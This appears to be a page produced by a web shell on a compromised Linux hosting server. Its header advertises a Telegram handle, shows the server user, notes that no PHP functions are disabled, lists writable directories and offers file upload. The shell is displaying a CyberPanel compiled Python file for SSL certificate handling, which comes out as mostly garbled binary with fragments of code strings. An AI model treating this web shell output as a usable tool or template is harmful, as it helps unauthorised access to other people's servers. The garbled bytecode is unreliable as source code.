https://t.me/RX1948
Server : LiteSpeed
System : Linux host 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
User : idnco5810 ( 1093)
PHP Version : 8.2.29
Disable Function : NONE
Directory :  /usr/local/CyberCP/plogical/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/CyberCP/plogical/__pycache__/sslUtilities.cpython-310.pyc
o

��g��@s�ddlZddlmZddlZddlZddlZddlZddlm	Z	z
ddl
mZmZWnYddl
mZGdd�d�Zd
dd	�ZdS)�N)�CyberCPLogFileWriter)�ProcessUtilities)�ChildDomains�Websites��
ACLManagerc@s�eZdZdZdZdZdZdZedd��Z	edd	��Z
ed
d��Zedd
��Zedd��Z
edd��Zedd��Zeddd��Zeddd��ZdS)�sslUtilitiesz/usr/local/lswsz&/usr/local/lsws/conf/dvhost_redis.confr��c	
Cs�z`ddlm}ddlm}t|d��D}|��}|�||��}|j�|j	�}|rL|j
�|j�}z
t
j�dt|����WnYd|fWd�WS	Wd�WdS1sYwYWdStyx}zdt|�fWYd}~Sd}~ww)Nr)�x509)�default_backend�rbzCovered domains: r	)rN)�cryptographyr�cryptography.hazmat.backendsr�open�read�load_pem_x509_certificate�
extensions�get_extension_for_class�SubjectAlternativeName�value�get_values_for_type�DNSName�loggingr�writeToFile�str�
BaseException)	�	cert_pathrr�	cert_file�	cert_data�cert�
san_extension�san_domains�msg�r$�+/usr/local/CyberCP/plogical/sslUtilities.py�getDomainsCovereds*�(���zsslUtilities.getDomainsCoveredcCs�d|}tj�|�r�ddl}|j�|jjt|d����}|�	��
�dd�d�}tj�tj
�r=tj�d|�d|�d��|d	krDtjS|d
krdt�|�\}}|rdt|�dkratj�d|d�ntjS|���d�}dd
lm}|�|d�}	|��}
|	|
}t|j�dkr�|dkr�tj�d|d�tjS|dkr�tj�d|��d�tjS|d
kr�tj�d|��d�tjStj�d|��d�tjStj�d|��d�tjS)N�&/etc/letsencrypt/live/%s/fullchain.pemr�rr	�utf-8zSSL provider for z is �.z(STAGING) Let's Encryptz
Let's Encryptz�[CheckIfSSLNeedsToBeIssued] SSL exists for %s and both versions are covered, just need to ensure if SSL is valid for less then 15 days.�ascii)�datetimez
%Y%m%d%H%M%SZ��Denialz\[CheckIfSSLNeedsToBeIssued] SSL exists for %s and is not ready to fetch new SSL., skipping..zJ[CheckIfSSLNeedsToBeIssued] Self-signed SSL found, lets issue new SSL for z1[CheckIfSSLNeedsToBeIssued] Custom SSL found for z2[CheckIfSSLNeedsToBeIssued] We will issue SSL for )�os�path�exists�OpenSSL�crypto�load_certificate�FILETYPE_PEMrr�
get_issuer�get_components�decoder�	debugPathrrrr�	ISSUE_SSLr&�len�get_notAfterr,�strptime�now�int�days�
DONT_ISSUE)�virtualHostName�filePathr2r�SSLProvider�status�domains�
expireDatar,�	finalDater>�diffr$r$r%�CheckIfSSLNeedsToBeIssued4sb���
�
�
�
�z&sslUtilities.CheckIfSSLNeedsToBeIssuedc
Cs�zOtd���}d}|D]A}|�d�dkr|�d�dkrd}q|dkr-|�d�dkr-WdS|�|�dkrL|dkrLdd	�|�d
�D�}|d|krLWdSqWdStyl}ztj�t|�d�WYd}~dSd}~ww)N�&/usr/local/lsws/conf/httpd_config.confr�listener����SSLr	�}cSsg|]}|r|�qSr$r$)�.0�_fr$r$r%�
<listcomp>sz.sslUtilities.checkIfSSLMap.<locals>.<listcomp>� z1 [IO Error with main config file [checkIfSSLMap]])	r�	readlines�find�splitrrrrr)rB�data�sslCheck�itemsr#r$r$r%�
checkIfSSLMapps*����zsslUtilities.checkIfSSLMapc
C�tztd���}|D]
}|�d�dkrWdSq	WdSty9}ztj�t|�d�t|�WYd}~Sd}~ww)NrKzlistener SSLrMr	z4 [IO Error with main config file [checkSSLListener]]r�rrTrUrrrrr�rWrYr#r$r$r%�checkSSLListener�������zsslUtilities.checkSSLListenerc
Cr[)NrKzlistener SSL IPv6rMr	z8 [IO Error with main config file [checkSSLIPv6Listener]]rr\r]r$r$r%�checkSSLIPv6Listener�r_z!sslUtilities.checkSSLIPv6Listenerc
Cs^zt�|�}t�d|�}d||gWSty.}zddt|�dgWYd}~Sd}~ww)Nzwww.r	r�347 � [issueSSLForDomain])�socket�
gethostbynamerr)rB�
withoutWWW�withWWWr#r$r$r%�
getDNSRecords�s
 ��zsslUtilities.getDNSRecordsc
Cs*z|tjd|}|d}t|d���}|�d�dkrzt��tjkr2t|d�}d}|�|�|�	�n:t|d��
�}t|d�}d	}|D]%}|�d
�dkrb|d	kr\|�|�|�d�d}qB|�|�qB|�|�qB|�	�d	d
lm}	|	j�
�WdSWdSty�}
zd	t|
�fWYd}
~
Sd}
~
ww)N�
/conf/vhosts/�/vhost.confr(z/.well-known/acme-challengerM�aa
                    
context /.well-known/acme-challenge {
  location                /usr/local/lsws/Example/html/.well-known/acme-challenge
  allowBrowse             1

  rewrite  {
     enable                  0
  }
  addDefaultCharset       off
  phpIniOverride  {

  }
}
�wrzDocumentRoot /home/z^    Alias /.well-known/acme-challenge /usr/local/lsws/Example/html/.well-known/acme-challenge
r	)�installUtilities)r�Server_rootrrrUr�decideServer�OLS�write�closerT�plogicalrl�reStartLiteSpeedrr)rB�confPath�completePathToConfigFile�	DataVhost�WriteToFile�contentrW�CheckrYrlr#r$r$r%�PatchVhostConf�s:





�+��zsslUtilities.PatchVhostConf�example@example.orgc1
Cs�ztjj|d�}|j}Wnty(}ztj�dt|��WYd}~nd}~wwt	�
�t	jk�rjtj
d|}|d}�zd|d|d}t��dkr�td	d
�}d}d}	d
}
d|d}d|d}d}
d}d}d}d}d}d}d}d|d|d}d}|�d�|�|�|�|	�|�|
�|�|�|�|�|�|
�|�|�|�|�|�|�|�|�|�|�|�|�|�|�|�|�|�|�|�d�|��WdSt��dk�rstd	d
�}d}d}	d
}
d|d}d|d}d}
d}d}d}d}d}d}d}d|d|d}d}|�d�|�|�|�|	�|�|
�|�|�|�|�|�|
�|�|�|�|�|�|�|�|�|�|�|�|�|�|�|�|�|�|�|�d�|��WdSt�|�dk�r�td	���}td	d�}d}|D]-}|�d�d k�r�|�d!�d k�r�d}|dk�r�|�|�|�|�d}�q�|�|��q�|��t|d"���}d}|D]
}|�d#�d k�r�d}�q�|dk�rIt|d
�}d$}d%|d}d&|d}d}
d}d}d}d}d}d}d}d'}|�d�|�|�|�|�|�|�|�|
�|�|�|�|�|�|�|�|�|�|�|�|�|�|�|�|�|�d�|��WdSt�yi}ztj�t|�d(�WYd}~dSd}~wwtj�tj��s�tj
d|}|d}t|d"���}|D]}|�d)�d k�r�dS�q�z�ztjj|d�}|jj}d*|jd}Wn)t�y�}ztjj|d�}|j}t�d|�}d*|�d�}WYd}~nd}~wwt|d"���}d+} |D]}|�d,�d k�r�|�d-�d k�r�|} n�q�t|d
�}!d.}"d/}#d0|d}$d1|d}%d2|d}&d3|d|d}'d4|d5|d6}(|!�|#�|!�|$�|!�|%�|!�|&�|!�|'�|!�|�|!�|(�|!�|"�d7})d8}*d9|d}+d:|d},|!�|)�|!�|*�|!�|+�|!�|,�|!�| �d;}-|!�|-�|!��WdSt�y�}ztj�t|�d<�WYd}~dSd}~wwtd=|d>���� d�}.td=|d?d"���� d�}/d@||.|/f}0tj�dA�tj�|0�t	�!|0�dS)BN)�domainz%s [installSSLForDomain:72]rhriz  map                     rS�
r	rKrjzlistener SSL {
z   address                 *:443
z  secure                  1
z1  keyFile                  /etc/letsencrypt/live/z
/privkey.pem
z1  certFile                 /etc/letsencrypt/live/z/fullchain.pem
z  certChain               1
z  sslProtocol             24
z  enableECDHE             1
z  renegProtection         1
z  sslSessionCache         1
z  enableSpdy              15
z  enableStapling           1
z!  ocspRespMaxAge           86400
z}

zlistener SSL IPv6 {
z$  address                 [ANY]:443
rrkrLrMrNr(�vhsslz	vhssl  {
z0  keyFile                 /etc/letsencrypt/live/z0  certFile                /etc/letsencrypt/live/rOz [installSSLForDomain]]z*:443z    DocumentRoot ��
AddHandler�phpzj    <IfModule LiteSpeed>
            CacheRoot lscache
            CacheLookup on
        </IfModule>
    z
<VirtualHost *:443>

z    ServerName z    ServerAlias www.z    ServerAdmin z    SuexecUserGroup z    CustomLog /home/z/logs/z.access_log combined
z    SSLEngine on
z    SSLVerifyClient none
z-    SSLCertificateFile /etc/letsencrypt/live/z0    SSLCertificateKeyFile /etc/letsencrypt/live/z</VirtualHost>
z [installSSLForDomain]�/etc/letsencrypt/live/�/fullchain.pem�/privkey.pemz*redis-cli hmset "ssl:%s" crt "%s" key "%s"zhello world aaa)"r�objects�get�
adminEmailrrrrrrrnrorrmr^r�
writelinesrqr`rZrTrUr/r0r1�	redisConfr�master�externalAppr�FindDocRootOfSiter�rstrip�executioner)1rBr��websiter#rtru�map�writeDataToFilerL�address�secure�keyFile�certFile�	certChain�sslProtocol�enableECDHE�renegProtection�sslSessionCache�
enableSpdy�enableStapling�ocspRespMaxAge�finalrWrXrY�
vhsslPresense�writeSSLConfigr~�
chilDomainr��DocumentRoot�docRoot�
phpHandler�confFile�	cacheRoot�VirtualHost�
ServerName�ServerAlias�ServerAdmin�SeexecUserGroup�CustomLogCombined�	SSLEngine�SSLVerifyClient�SSLCertificateFile�SSLCertificateKeyFile�VirtualHostEndr �key�commandr$r$r%�installSSLForDomain�s�
 ��

















l�

















E�
 


�















����� �














��
z sslUtilities.installSSLForDomainNc
Cs�ddlm}ddlm}ddl}d}t�|�tjkrndSdt��}t�	|�t
j�d�s5d}	t
�|	�d}	t
�|	�d	|��}
d
|
��}	t
�|	�d|�d|��}d
|�d|��}z-tj|dd�}
|
jdkrttj�d|���d}ntj�dt|
j��d|�d|
j���Wn ty�}ztj�d|�dt|����WYd}~nd}~wwz-tj|dd�}
|
jdkr�tj�d|���d}ntj�dt|
j��d|�d|
j���Wn ty�}ztj�d|�dt|����WYd}~nd}~wwd}d}�z0d}d||f}	t�t�|	��d|}	t�t�|	��|du�r�d|}t
j�|��s5d|}	t�t�|	���z|d|d|d|dd |d!d"|d#d$}	|�r1|�r1tj�|	d�ztj|	d%d%d%d&�}Wntj|	tjtjd%d%d'�}Y|j}|j }|j!dk�r"t
j�t
j"��r�tj�||�|d|d|d|dd |d!d"|d#d(}	tj�|	d�ztj|	d%d%d%d&�}Wntj|	tjtjd%d%d'�}Y|j}|j }|j!dk�rt
j�t
j"��r�tj�||�tj�d)|d*|d�tj�#|||d+|�WWdStj�||�t�$dd,d,��tj�||�t�$dd,d,��tj�|	d�t�$dd,d,��tj$�y�tj�d-|d*|d�d-|d*|}�z|d|d|dd |d!d"|d#d$}	d.||f}|�r`d.||f}tj�d/|d�tj�|	�ztj|	d%d%d%d&�}Wntj|	tjtjd%d%d'�}Y|j}|j }|j!dk�rSt
j�t
j"��r�tj�||�|d|d|dd |d!d"|d#d(}	ztj|	d%d%d%d&�}Wntj|	tjtjd%d%d'�}Y|j}|j }|j!dk�r?t
j�t
j"��r tj�||�tj�d)|d�d0||f}tj�#|||d+|�WYWdStj�|	d�tj�||�WYWdStj�||�WYWdStj�|	d�WYWdStj$�y�tj�d1|d�tj�#||d1|d+|�YYWdSwwd|}t
j�|��s�d|}	t�t�|	��zatj�d/|d2|d3|d4|d5�|d|d|d6|d|d|dd |d!d"|d#d(}	t�%t�|	���&d7�}tj�d)|d2|d3|d8|d5�WWdStj$�y,tj�d-|d2|d3|d8|d5�YWdSwt�yJ}ztj�t|�d9�WYd}~dSd}~ww):Nrr)rr	zroot@%sz7/usr/local/lsws/Example/html/.well-known/acme-challengez@mkdir -p /usr/local/lsws/Example/html/.well-known/acme-challengez)chmod -R 755 /usr/local/lsws/Example/htmlz8/usr/local/lsws/Example/html/.well-known/acme-challenge/ztouch zhttp://www.z/.well-known/acme-challenge/zhttp://�)�timeout��zStatus Code: 200 for: z
Status Code: z for: z	. Error: zStatus Code: Unknown for: zStatus Code: Unkown for: z/root/.acme.sh/acme.shz%s --register-account -m %sz(%s --set-default-ca --server letsencryptr�z	mkdir -p z --issue -d z -d www.z
 --cert-file z	/cert.pemz --key-file r�z --fullchain-file r�z< -w /usr/local/lsws/Example/html -k ec-256 --force --stagingT)�capture_output�universal_newlines�shell)�stdout�stderrr�r�zG -w /usr/local/lsws/Example/html -k ec-256 --force --server letsencryptzSuccessfully obtained SSL for: z
 and: www.zSSL Notification for %s.rzFailed to obtain SSL for: z%s
Trying to obtain SSL for: %szTrying to obtain SSL for: z%%s
Successfully obtained SSL for: %s.z3Failed to obtain SSL, issuing self-signed SSL for: z, www.z, z	 and www.�,z -d r)zand www.z. [Failed to obtain SSL. [obtainSSLForADomain]])'�plogical.aclr�plogical.sslv2r�jsonrJr:rc�gethostnamerzr/r0r1r�normalExecutionerr��requestsr��status_coderrrr�textr�
subprocess�call�shlexrV�run�PIPEr�r��
returncoder9�	SendEmail�CalledProcessError�check_outputr8)rBr��sslpath�aliasDomainr�sslv2r��Status�sender_emailr��CustomVerificationFile�URLFetchPathWWW�URLFetchPathNONWWW�resp�	WWWStatusr#�NONWWWStatus�acmePath�existingCertPath�resultr�r��	finalText�CurrentMessage�outputr$r$r%�obtainSSLForADomain�s@






�����
&����
��������������������

�������������

����������

����



�
��P"���������������"�
�"��	��z sslUtilities.obtainSSLForADomain)r{�N)�__name__�
__module__�__qualname__rmr�rA�ISSUE_SELFSIGNEDr:�staticmethodr&rJrZr^r`rgrzr�r�r$r$r$r%rs2

;




5yrc
Csnz�t�||||�dkrt�||�dkrddgWSddgWSd|}d|}tj�|�rjddl}|j�|jj	t
|d����}|���
�dd�d�}|d	krjt�|�dkrjtj�d
|d�dd
|ddgWSd
|d|d|}	t�|	�}
t�|
�t�|�dkr�tj�d|d�ddgWSddgWSty�}zddt|�dgWYd}~Sd}~ww)Nr	�Nonerz9210 Failed to install SSL for domain. [issueSSLForDomain]z$/etc/letsencrypt/live/%s/privkey.pemr'r(r)r.z#We are not able to get new SSL for zU. But there is an existing SSL, it might only be for the main domain (excluding www).rbzhopenssl req -newkey rsa:2048 -new -nodes -x509 -days 3650 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=z
" -keyout z -out zSelf signed SSL issued for r*z7Self signed certificate was issued. [issueSSLForDomain]ra)rr�r�r/r0r1r2r3r4r5rrr6r7r8rrrr�rVr�r�rr)r|r�r�r��pathToStoreSSLPrivKey�pathToStoreSSLFullChainr2rrDr��cmdr#r$r$r%�issueSSLForDomain�s4





 ��r�r�)r�rrrrr/r�r�rc�plogical.processUtilitiesr�websiteFunctions.modelsrrr�rrr�r$r$r$r%�<module>s&f

https://t.me/RX1948 - 2025